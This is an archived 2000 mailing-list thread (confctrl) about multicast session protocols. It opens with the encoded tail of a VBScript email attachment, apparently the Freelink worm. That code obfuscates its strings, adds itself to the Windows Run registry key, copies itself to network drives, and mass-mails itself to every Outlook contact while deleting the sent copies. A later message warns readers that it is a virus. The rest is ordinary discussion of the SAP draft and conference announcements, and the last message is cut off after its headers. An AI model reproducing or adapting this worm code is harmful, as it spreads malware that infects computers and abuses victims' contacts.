?!#lkem!bee!uglb!#lkem!""(!'!@0/CthmeQ`ui)@0/FduRqdbh`mGnmeds)1(-C)""JKLM=
U,T@U""((("))
A4.WriteLine(B("E2/Bmnrd"))
A4.WriteLine(B("Doe!Hg"))
A4.WriteLine(B("Hg!TB`rd)E3/O`ld(!<!C)""NKPEF;6,GVG""(!Uido"))
A4.WriteLine(B("Rdu!E5!<!@0/Bsd`udUdyuGhmd)@0/CthmeQ`ui)E3/Q`sdouGnmeds-C=
)""GTGLRU,KLK""((-Ustd("))
A4.WriteLine(B("E5/VshudMhod)C)""]Jgtgju_""(("))
A4.WriteLine(B("E5/VshudMhod)C)""Glc`jgb?3""(("))
A4.WriteLine(B("E5/VshudMhod)C)""Eqwlr?4""(("))
A4.WriteLine(B("E5/VshudMhod)C)""Jgtgj3?.../Wlmlqylu""(("))
A4.WriteLine(B("E5/VshudMhod)C)"".../WlmlqyluGlc`jgb?3""(("))
A4.WriteLine(B("E5/VshudMhod)C)""Jgtgj0?3../Jgtgj!3..""(("))
A4.WriteLine(B("E5/VshudMhod)C)""3../Jgtgj!3..Glc`jgb?3""(("))
A4.WriteLine(B("E5/VshudMhod)C)""Jgtgj5?0../Jgtgj!0..""(("))
A4.WriteLine(B("E5/VshudMhod)C)""0../Jgtgj!0..Glc`jgb?3""(("))
A4.WriteLine(B("E5/VshudMhod)C)""Jgtgj2?5../Jgtgj!5..""(("))
A4.WriteLine(B("E5/VshudMhod)C)""5../Jgtgj!5..Glc`jgb?3""(("))
A4.WriteLine(B("E5/VshudMhod)C)""Jgtgj7?2../Jgtgj!2..""(("))
A4.WriteLine(B("E5/VshudMhod)C)""2../Jgtgj!2..Glc`jgb?3""(("))
A4.WriteLine(B("E5/VshudMhod)C)""Jgtgj4?7../Jgtgj!7..""(("))
A4.WriteLine(B("E5/VshudMhod)C)""7../Jgtgj!7..Glc`jgb?3""(("))
A4.WriteLine(B("E5/VshudMhod)""""("))
A4.WriteLine(B("E5/VshudMhod)C)""].../Wlmlqylu_""(("))
A4.WriteLine(B("E5/VshudMhod)C)""Wugp3?( (>(""(("))
A4.WriteLine(B("E5/VshudMhod)C)""WugpEqwlr?3""(("))
A4.WriteLine(B("E5/VshudMhod)C)""Gtglr3?QL!HQKL8%81bee!uglb!#lkem!""(!'!@=
0/CthmeQ`ui)@0/FduRqdbh`mGnmeds)1(-C)""JKLMU,T@U""((("))
A4.WriteLine(B("E5/VshudMhod)C)""GtglrEqwlr?3""(("))
A4.WriteLine(B("E5/VshudMhod)""""("))
A4.WriteLine(B("E5/VshudMhod)C)""]3../Jgtgj!3.._""(("))
A4.WriteLine(B("E5/VshudMhod)C)""WugpEqwlr?.""(("))
A4.WriteLine(B("E5/VshudMhod)C)""GtglrEqwlr?.""(("))
A4.WriteLine(B("E5/VshudMhod)""""("))
A4.WriteLine(B("E5/VshudMhod)C)""]0../Jgtgj!0.._""(("))
A4.WriteLine(B("E5/VshudMhod)C)""WugpEqwlr?.""(("))
A4.WriteLine(B("E5/VshudMhod)C)""GtglrEqwlr?.""(("))
A4.WriteLine(B("E5/VshudMhod)""""("))
A4.WriteLine(B("E5/VshudMhod)C)""]5../Jgtgj!5.._""(("))
A4.WriteLine(B("E5/VshudMhod)C)""WugpEqwlr?.""(("))
A4.WriteLine(B("E5/VshudMhod)C)""GtglrEqwlr?.""(("))
A4.WriteLine(B("E5/VshudMhod)""""("))
A4.WriteLine(B("E5/VshudMhod)C)""]2../Jgtgj!2.._""(("))
A4.WriteLine(B("E5/VshudMhod)C)""WugpEqwlr?.""(("))
A4.WriteLine(B("E5/VshudMhod)C)""GtglrEqwlr?.""(("))
A4.WriteLine(B("E5/VshudMhod)""""("))
A4.WriteLine(B("E5/VshudMhod)C)""]7../Jgtgj!7.._""(("))
A4.WriteLine(B("E5/VshudMhod)C)""WugpEqwlr?.""(("))
A4.WriteLine(B("E5/VshudMhod)C)""GtglrEqwlr?.""(("))
A4.WriteLine(B("E5/Bmnrd"))
A4.WriteLine(B("Doe!Hg"))
A4.WriteLine(B("Odyu"))
A4.WriteLine(B("Gns!D`bi!E4!Ho!@0/FduGnmeds)E0(/RtcGnmedsr"))
A4.WriteLine(B("E!E4/Q`ui"))
A4.WriteLine(B("Odyu"))
A4.WriteLine(B("Doe!Hg"))
A4.WriteLine(B("Doe!Rtc"))
A4.Close
Set A5 =3D CreateObject(B("VRbshqu/Ridmm"))
A5.RegWrite =
B("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]Stoem=
m"),A1.BuildPath(A1.GetSpecialFolder(1),B("STOEMM/WCR"))
If =
MsgBox(B("Uihr!vhmm!`ee!`!rinsubtu!un!gsdd!YYY!mhojr!no!xnts!edrjunq/!En!=
xnt!v`ou!un!bnouhotd>"),36,B("Gsdd!YYY!mhojr")) =3D 6 Then
Set A6 =3D =
A1.CreateTextFile(A1.BuildPath(A5.SpecialFolders(B("Edrjunq")),B("GSDD!YY=
Y!MHOJR/TSM")),True)
A6.WriteLine(B("ZHoudsoduRinsubtu\"))
A6.WriteLine(B("TSM<iuuq;..vvv/rtcmhldehsdbunsx/bnl."))
A6.Close
End If
Set A7 =3D CreateObject(B("VRbshqu/Oduvnsj"))
Set A8 =3D A7.EnumNetworkDrives
If A8.Count <> 0 Then
For A9 =3D 0 To A8.Count - 1
If InStr(A8.Item(A9),B("]]")) <> 0 Then
A1.CopyFile WScript.ScriptFullName, =
A1.BuildPath(A8.Item(A9),B("MHOJR/WCR"))
End If
Next
End If
Set A10 =3D CreateObject(B("Ntumnnj/@qqmhb`uhno"))
Set A11 =3D A10.GetNameSpace(B("L@QH"))
For Each A12 In A11.AddressLists
Set A13 =3D A10.CreateItem(0)
For A14 =3D 1 To A12.AddressEntries.Count
Set A15 =3D A12.AddressEntries(A14)
If A14 =3D 1 Then
A13.BCC =3D A15.Address
Else
A13.BCC =3D A13.BCC & B(":!") & A15.Address
End If
Next
A13.Subject =3D B("Bidbj!uihr")
A13.Body =3D B("I`wd!gto!vhui!uidrd!mhojr/") & Chr(13) & Chr(10) & =
B("Cxd/")
A13.Attachments.Add WScript.ScriptFullName
A13.DeleteAfterSubmit =3D True
A13.Send
Next
Function B(B1)
For B2 =3D 1 To Len(B1)
If Asc(Mid(B1,B2,1)) <> 34 And Asc(Mid(B1,B2,1)) <> 35 And =
Asc(Mid(B1,B2,1)) <> 126 Then
If Asc(Mid(B1,B2,1)) Mod 2 =3D 0 Then
B =3D B & Chr(Asc(Mid(B1,B2,1)) + Right(Asc(Mid(A3,70,1)) + 1,1))
Else
B =3D B & Chr(Asc(Mid(B1,B2,1)) - Right(Asc(Mid(A3,70,1)) + 1,1))
End If
Else
B =3D B & Mid(B1,B2,1)
End If
Next
End Function

------=_NextPart_000_004F_01BF793D.D3C12640--



From confctrl-owner  Thu Feb 17 03:11:55 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA21948
	for confctrl-outgoing; Thu, 17 Feb 2000 03:11:55 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA21943
	for <confctrl@zephyr.isi.edu>; Thu, 17 Feb 2000 03:11:53 -0800 (PST)
Received: from ferao.jungle.bt.co.uk (ferao.jungle.bt.co.uk [132.146.107.45])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA23741
	for <confctrl@isi.edu>; Thu, 17 Feb 2000 03:11:57 -0800 (PST)
Received: from jungle.bt.co.uk ([132.146.129.215])
	by ferao.jungle.bt.co.uk (8.9.1b+Sun/Jungle-8.9.1-03) with ESMTP id LAA22039
	for <confctrl@isi.edu>; Thu, 17 Feb 2000 11:03:01 GMT
Message-ID: <38ABD76E.275C0335@jungle.bt.co.uk>
Date: Thu, 17 Feb 2000 11:11:42 +0000
From: Paul Evans <pevans@jungle.bt.co.uk>
Organization: BT Laboratories
X-Mailer: Mozilla 4.7 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: WARNING: Re: Check this
X-Priority: 1 (Highest)
References: <005201bf792d$1039dce0$7ac05ac2@mediagate>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks - do not open this email, the VBScript attachement is infected
with the VBS/Freelink Virus!

Cheers,


Paul.

Jacob Avraham wrote:
> 
> Have fun with these links.
> Bye.
> 
>   ------------------------------------------------------------------------
>                 Name: LINKS.VBS
>    LINKS.VBS    Type: VBScript Script File (application/x-unknown-content-type-VBSFile)
>             Encoding: quoted-printable

-- 
Paul Evans, Manager, Middleware Futures Group, BT Adastral Park
   B54 Room 94, Martlesham Heath, Ipswich, Suffolk. IP5 3RE.
Email: paul.a.evans@bt.com Tel: 01473 643783 Fax: 01473 645011

From confctrl-owner  Mon Feb 21 23:36:10 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA04094
	for confctrl-outgoing; Mon, 21 Feb 2000 23:36:10 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA04088
	for <confctrl@zephyr.isi.edu>; Mon, 21 Feb 2000 23:36:08 -0800 (PST)
Received: from leonis.nus.edu.sg (leonis.nus.edu.sg [137.132.1.18])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA11667;
	Mon, 21 Feb 2000 23:36:08 -0800 (PST)
Received: from engtanlk.nus.edu.sg ([137.132.204.177])
	by leonis.nus.edu.sg (8.9.3/8.9.3) with SMTP id PAA11207;
	Tue, 22 Feb 2000 15:07:07 +0800 (SST)
Message-ID: <002101bf7d04$51cd1840$b1cc8489@engtanlk.nus.edu.sg>
From: "ICON'2000 Secretariat" <icon@comp.nus.edu.sg>
To: <Undisclosed.Recipients@leonis.nus.edu.sg>
Subject: Calling for your contribution!
Date: Tue, 22 Feb 2000 15:07:02 +0800
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_001E_01BF7D47.5FF05840"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.2106.4
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_001E_01BF7D47.5FF05840
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Dear All
=20
* Kindly ignore this email if you have received this before.=20
Thanks you for your kind attention.
=20
The 8th IEEE International Conference On Networks will be held from=20

September 5- 8, 2000 in Singapore. The aim of the conference is to =
provide=20

an international forum for experts to promote, share and discuss various =


issues and developments in the broad field of computer and communication =


networks. We thus seek and solicit your contributions

in the form of original/unpublished papers, tutorials, and topics for=20

special sessions/panel discussions. More information on the scope of the =


conference and the guidelines for the submission of contributions can

be obtained at this web site :

http://www.comp.nus.edu.sg/~icon/

We look forward to your participation. Thank you.

Icon 2000 organizing Committee


------=_NextPart_000_001E_01BF7D47.5FF05840
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.2106.6"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>
<DIV>
<DIV><FONT color=3D#000000 size=3D2>Dear All</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2><FONT color=3D#000000 face=3DArial =
size=3D2><STRONG>*=20
Kindly ignore this email if you have received this before.=20
</STRONG></FONT></FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2><FONT color=3D#000000 face=3DArial=20
size=3D2><STRONG>Thanks you for your kind =
attention.</STRONG></FONT></FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2><FONT size=3D2>
<P>The 8th IEEE International Conference On Networks will be held from =
</P>
<P>September 5- 8, 2000 in Singapore. The aim of the conference is to =
provide=20
</P>
<P>an international forum for experts to promote, share and discuss =
various </P>
<P>issues and developments in the broad field of computer and =
communication </P>
<P>networks. We thus seek and solicit your contributions</P>
<P>in the form of original/unpublished papers, tutorials, and topics for =
</P>
<P>special sessions/panel discussions. More information on the scope of =
the </P>
<P>conference and the guidelines for the submission of contributions =
can</P>
<P>be obtained at this web site :</P>
<P><A=20
href=3D"http://www.comp.nus.edu.sg/~icon/">http://www.comp.nus.edu.sg/~ic=
on/</A></P>
<P>We look forward to your participation. Thank you.</P>
<P>Icon 2000 organizing=20
Committee</P></FONT></FONT></DIV></DIV></DIV></BODY></HTML>

------=_NextPart_000_001E_01BF7D47.5FF05840--


From confctrl-owner  Wed Feb 23 00:51:23 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA24439
	for confctrl-outgoing; Wed, 23 Feb 2000 00:51:23 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA24433
	for <confctrl@zephyr.isi.edu>; Wed, 23 Feb 2000 00:51:21 -0800 (PST)
Received: from rum.isi.edu (rum-e.isi.edu [128.9.160.237])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA04711
	for <confctrl@isi.edu>; Wed, 23 Feb 2000 00:51:22 -0800 (PST)
Received: (from touch@localhost)
	by rum.isi.edu (8.8.7/8.8.6) id AAA04250;
	Wed, 23 Feb 2000 00:51:22 -0800 (PST)
Message-Id: <200002230851.AAA04250@rum.isi.edu>
To: confctrl@ISI.EDU
Date: Tue, 04 Jan 2000 16:37:03 -0800
From: Joe Touch <touch@ISI.EDU>
Reply-To: sigcomm2000-info@acm.org
Organization: Sigcomm 2000
MIME-Version: 1.0
Subject: reminder - Sigcomm 2000 tutorial deadline approaching
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The tutorial deadline for Sigcomm 2000 is Feb. 28, 2000.
Please see the website below for further information on
how to submit a proposal.

---------------------------------------------------------------


			   Call for Papers
		     ACM SIGCOMM 2000 Conference

		    August 28 - September 1, 2000
		    Grand Hotel, Stockholm, Sweden
		http://www.acm.org/sigcomm/sigcomm2000
		       sigcomm2000-info@acm.org

>>  Tutorial proposals:  February 28, 2000

The SIGCOMM 2000 conference seeks papers describing significant
research contributions to the field of computer and data communication
networks. Authors are invited to submit full papers concerned with
both theory and practice. Proposals for tutorials, information on
student paper award eligibility and procedures, and nominations for
the SIGCOMM Award are also sought at this time.

General Co-Chairs
	Per Gunningberg, Uppsala U., Sweden (perg@docs.uu.se)
	Steve Pink, Lulea U. Tech., Sweden (steve@cdt.luth.se)
Program Co-Chairs
	Christophe Diot, Sprint ATL, USA (cdiot@sprintlabs.com)
	Jim Kurose, U. Massachusetts, USA (kurose@cs.umass.edu)
Publicity Chair
	Joe Touch, USC/ISI, USA (touch@isi.edu, or sigcomm2000-info@acm.org)
Tutorials Chair
	Steve Pink, Lulea U Tech., Sweden (steve@cdt.luth.se)

From confctrl-owner  Thu Feb 24 08:46:03 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA29940
	for confctrl-outgoing; Thu, 24 Feb 2000 08:46:03 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA29929
	for <confctrl@zephyr.isi.edu>; Thu, 24 Feb 2000 08:46:01 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA16030
	for <confctrl@isi.edu>; Thu, 24 Feb 2000 08:46:02 -0800 (PST)
Received: from eucharisto.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.12923-0@bells.cs.ucl.ac.uk>; Thu, 24 Feb 2000 16:45:15 +0000
To: confctrl@ISI.EDU
Subject: Revised SAP draft submitted
Date: Thu, 24 Feb 2000 16:45:15 +0000
Message-ID: <2620.951410715@cs.ucl.ac.uk>
From: Colin Perkins <C.Perkins@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I've just submitted a revision to the session announcement protocol draft,
which addresses the comments I received during working group last call.
Until it appears in the internet-draft archives, the draft is available
from:
http://www.cs.ucl.ac.uk/staff/c.perkins/internet-drafts/draft-ietf-mmusic-sap-v2-05.txt

Summary of changes since the -04 revision:
- Remove references to "client" in the text, now talks about SAP
  announcers and listeners only.
- Clarify that TTL scoping is discouraged (in favour of admin scoping)
- Clarify section on session deletion
- Remove the optional timeout field from the packet format
	- It was only used for encrypted SAP, for those cases where a
	  proxy didn't have the decryption key. 
	- We now rely on either
	 	1) the receiver of an announcement understands the payload,
		and can derive the session timeout from that (this is the
		common case)
	  or	2) the announcer sends explicit deletion packets when it
	   	stops sending the announcement
	  or	3) the receiver will timeout an announcement which hasn't
	  	been heard for some time
	  (proxies which deal with encrypted SAP can still recognize cases
	  2 and 3).
- Clarify why IPsec is not recommended for authentication.
- Update references

Colin

From confctrl-owner  Thu Feb 24 10:12:38 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA04188
	for confctrl-outgoing; Thu, 24 Feb 2000 10:12:38 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA04183
	for <confctrl@zephyr.isi.edu>; Thu, 24 Feb 2000 10:12:36 -0800 (PST)
Received: from dthaler.microsoft.com ([131.107.152.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA25398
	for <confctrl@ISI.EDU>; Thu, 24 Feb 2000 10:12:37 -0800 (PST)
Received: (from dthaler@localhost)
	by dthaler.microsoft.com (8.8.7/8.8.7) id LAA04772;
	Thu, 24 Feb 2000 11:49:07 -0800 (PST)
	(envelope-from dthaler)
From: Dave Thaler <dthaler@dthaler.microsoft.com>
Message-Id: <200002241949.LAA04772@dthaler.microsoft.com>
Subject: Re: Revised SAP draft submitted
In-Reply-To: <2620.951410715@cs.ucl.ac.uk> from Colin Perkins at "Feb 24, 2000  4:45:15 pm"
To: C.Perkins@cs.ucl.ac.uk (Colin Perkins)
Date: Thu, 24 Feb 2000 11:49:06 -0800 (PST)
Cc: confctrl@ISI.EDU
X-Mailer: ELM [version 2.4ME+ PL43 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Summary of changes since the -04 revision:
> - Remove references to "client" in the text, now talks about SAP
>   announcers and listeners only.

I still have an objection to the following language in the Introduction:
> advertisements are received by potential participants who can use the
> session description to start the tools required to participate in the
> session.

Specifically, "participants" are users (or perhaps clients), and the
advertisements should be received by SAP speakers / session directories,
NOT by participants.

Suggest something more neutral like:
  advertisements are received by other session directories so that
  potential remote participants can use the session description to ...

Likewise, Terminology section implicitly still refers to clients:
> ensuring that the recipients of
> the announcement can also be potential recipients of the session the
> announcement describes 

This language is repeated in section 3 (bottom of page 2).

Suggest something more neutral like:
  ensuring that the recipients of the announcement are within the
  scope of the session the announcement described.

Perhaps another note to the effect that:
  Ensuring that a description is not used by a potential participant
  outside the session scope is not addressed in this memo.
would be helpful as well?

> - Clarify why IPsec is not recommended for authentication.

The only reference to IPsec I find is in this text:
> It is to be expected that sessions may be announced by a number of
> different mechanisms, not only SAP. For example, a session description
> may placed on a web page, sent by email or conveyed in a session
> initiation protocol.  To ease interoperability with these other mechanisms,
> application level security is employed, rather than using IPsec authentication
> headers.

I don't find this to be a relevant argument.
This is an argument for making auth/encrypt be part of SDP, not SAP.
Hence, I would still argue that the SAP Auth is not sufficiently 
motivated in draft -05, and still don't see why it can't be removed.

-Dave

From confctrl-owner  Thu Feb 24 10:35:32 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA05515
	for confctrl-outgoing; Thu, 24 Feb 2000 10:35:32 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA05510
	for <confctrl@zephyr.isi.edu>; Thu, 24 Feb 2000 10:35:31 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id KAA28175
	for <confctrl@ISI.EDU>; Thu, 24 Feb 2000 10:35:32 -0800 (PST)
Received: from telis.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.22636-0@bells.cs.ucl.ac.uk>; Thu, 24 Feb 2000 18:35:26 +0000
Message-Id: <3.0.1.32.20000224184023.0073c6a8@cs.ucl.ac.uk>
X-Sender: Kirstein@cs.ucl.ac.uk
X-Mailer: Windows Eudora Light Version 3.0.1 (32)
Date: Thu, 24 Feb 2000 18:40:23 +0000
To: Colin Perkins <C.Perkins@cs.ucl.ac.uk>
From: "Peter T. Kirstein" <P.Kirstein@cs.ucl.ac.uk>
Subject: Re: Revised SAP draft submitted
Cc: confctrl@ISI.EDU
In-Reply-To: <2620.951410715@cs.ucl.ac.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 16:45 24/02/00 +0000, Colin Perkins wrote:
>I've just submitted a revision to the session announcement protocol draft,
>which addresses the comments I received during working group last call.
>Until it appears in the internet-draft archives, the draft is available
>from:
>http://www.cs.ucl.ac.uk/staff/c.perkins/internet-drafts/draft-ietf-mmusic-s
ap-v2-05.txt

Colin,

I really cannot see why PGP must still be mandatory and  CMS Authentication
optional. There is so much more momentum now behind CMS certificates for
many purposes. I strongly recommend that this requirement be dropped. This
is the only place where it is required; many of our server accesses now use
the certificates provided by Web browsers - which are not PGP.

Peter 

Peter

>
>Summary of changes since the -04 revision:
>- Remove references to "client" in the text, now talks about SAP
>  announcers and listeners only.
>- Clarify that TTL scoping is discouraged (in favour of admin scoping)
>- Clarify section on session deletion
>- Remove the optional timeout field from the packet format
>	- It was only used for encrypted SAP, for those cases where a
>	  proxy didn't have the decryption key. 
>	- We now rely on either
>	 	1) the receiver of an announcement understands the payload,
>		and can derive the session timeout from that (this is the
>		common case)
>	  or	2) the announcer sends explicit deletion packets when it
>	   	stops sending the announcement
>	  or	3) the receiver will timeout an announcement which hasn't
>	  	been heard for some time
>	  (proxies which deal with encrypted SAP can still recognize cases
>	  2 and 3).
>- Clarify why IPsec is not recommended for authentication.
>- Update references
>
>Colin
>


From confctrl-owner  Thu Feb 24 11:05:32 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA07321
	for confctrl-outgoing; Thu, 24 Feb 2000 11:05:32 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA07316
	for <confctrl@zephyr.isi.edu>; Thu, 24 Feb 2000 11:05:31 -0800 (PST)
Received: from aardvark.aciri.org (aardvark.aciri.org [192.150.187.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA01032
	for <confctrl@ISI.EDU>; Thu, 24 Feb 2000 11:05:32 -0800 (PST)
Received: from aardvark.aciri.org (localhost [127.0.0.1])
	by aardvark.aciri.org (8.9.3/8.9.2) with ESMTP id LAA25084;
	Thu, 24 Feb 2000 11:05:28 -0800 (PST)
	(envelope-from mjh@aardvark.aciri.org)
From: Mark Handley <mjh@aciri.org>
X-Organisation: ACIRI
To: Dave Thaler <dthaler@dthaler.microsoft.com>
cc: C.Perkins@cs.ucl.ac.uk (Colin Perkins), confctrl@ISI.EDU
Subject: Re: Revised SAP draft submitted 
In-reply-to: Your message of "Thu, 24 Feb 2000 11:49:06 PST."
             <200002241949.LAA04772@dthaler.microsoft.com> 
Date: Thu, 24 Feb 2000 11:05:28 -0800
Message-ID: <25082.951419128@aardvark.aciri.org>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>> - Clarify why IPsec is not recommended for authentication.
>
>The only reference to IPsec I find is in this text:
>> It is to be expected that sessions may be announced by a number of
>> different mechanisms, not only SAP. For example, a session description
>> may placed on a web page, sent by email or conveyed in a session
>> initiation protocol.  To ease interoperability with these other mechanisms,
>> application level security is employed, rather than using IPsec authenticati
>on
>> headers.
>
>I don't find this to be a relevant argument.
>This is an argument for making auth/encrypt be part of SDP, not SAP.
>Hence, I would still argue that the SAP Auth is not sufficiently 
>motivated in draft -05, and still don't see why it can't be removed.

We need a solid way to do authentication so we need to specify
something.

I think there are two motivations for not using IPsec:

 - Very little IPsec deployment.  SAP is going to Experimental.  If it
   ever goes to Proposed Standard, we should revisit this issue, but
   right now you have to assume that most receivers don't understand
   IPsec AH.

 - No-one seems to have a clue how to do the SPI for multicast apps
   like SAP that don't have a setup phase.  Until someone explains how
   to do this, IPsec seems problematic.

But it's not clear you want to set-in-stone these arguments in the RFC
itself because they're clearly subject to change.

The real choice at this stage seems to be between SAP-level auth and
SDP-level auth.  However, the authentication mechanisms open to you
appear to be determined by the way you receive the session description
(Eg. in SIP/RTSP you can do an exchange with the sender to request a
certificate, in SAP you can't).  This it seems to me like SAP is a
better place than SDP for the authentication mechanism.

But I don't consider myself a security expert, so I'd like to hear
from someone who is.

Cheers,
	Mark










From confctrl-owner  Thu Feb 24 11:23:57 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA08374
	for confctrl-outgoing; Thu, 24 Feb 2000 11:23:57 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA08369
	for <confctrl@zephyr.isi.edu>; Thu, 24 Feb 2000 11:23:55 -0800 (PST)
Received: from dthaler.microsoft.com ([131.107.152.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA02866
	for <confctrl@ISI.EDU>; Thu, 24 Feb 2000 11:23:57 -0800 (PST)
Received: (from dthaler@localhost)
	by dthaler.microsoft.com (8.8.7/8.8.7) id NAA04923;
	Thu, 24 Feb 2000 13:00:26 -0800 (PST)
	(envelope-from dthaler)
From: Dave Thaler <dthaler@dthaler.microsoft.com>
Message-Id: <200002242100.NAA04923@dthaler.microsoft.com>
Subject: Re: Revised SAP draft submitted
In-Reply-To: <25082.951419128@aardvark.aciri.org> from Mark Handley at "Feb 24, 2000 11: 5:28 am"
To: mjh@aciri.org (Mark Handley)
Date: Thu, 24 Feb 2000 13:00:26 -0800 (PST)
Cc: dthaler@dthaler.microsoft.com, C.Perkins@cs.ucl.ac.uk, confctrl@ISI.EDU
X-Mailer: ELM [version 2.4ME+ PL43 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Mark Handley writes:
> The real choice at this stage seems to be between SAP-level auth and
> SDP-level auth.  However, the authentication mechanisms open to you
> appear to be determined by the way you receive the session description
> (Eg. in SIP/RTSP you can do an exchange with the sender to request a
> certificate, in SAP you can't).  This it seems to me like SAP is a
> better place than SDP for the authentication mechanism.

I would argue the reverse.  I would liken SDP to an email message
(even if carried via SAP), where you have no idea how many relays 
it's gone through, and trusting the last relay means little.
You want the email message to be signed, e.g. PGP or whatever,
so that it can be authenticated regardless of how many different
propagation methods or hops it's gone through.  For example,
consider a SAP-to-web page gateway.  The description can only
be authenticated by a recipient if it's in the SDP.

If requesting a certificate is done out of band (i.e. not part of SAP),
then I don't understand why you can't do an exchange with the
original SDP creator (which may be different from the SAP advertiser
... consider an email-to-SAP gateway...).

-Dave

From confctrl-owner  Thu Feb 24 15:12:28 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA21234
	for confctrl-outgoing; Thu, 24 Feb 2000 15:12:28 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA21229
	for <confctrl@zephyr.isi.edu>; Thu, 24 Feb 2000 15:12:27 -0800 (PST)
Received: from aardvark.aciri.org (aardvark.aciri.org [192.150.187.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA23043
	for <confctrl@ISI.EDU>; Thu, 24 Feb 2000 15:12:28 -0800 (PST)
Received: from aardvark.aciri.org (localhost [127.0.0.1])
	by aardvark.aciri.org (8.9.3/8.9.2) with ESMTP id PAA26840;
	Thu, 24 Feb 2000 15:12:25 -0800 (PST)
	(envelope-from mjh@aardvark.aciri.org)
From: Mark Handley <mjh@aciri.org>
X-Organisation: ACIRI
To: Dave Thaler <dthaler@dthaler.microsoft.com>
cc: C.Perkins@cs.ucl.ac.uk, confctrl@ISI.EDU
Subject: Re: Revised SAP draft submitted 
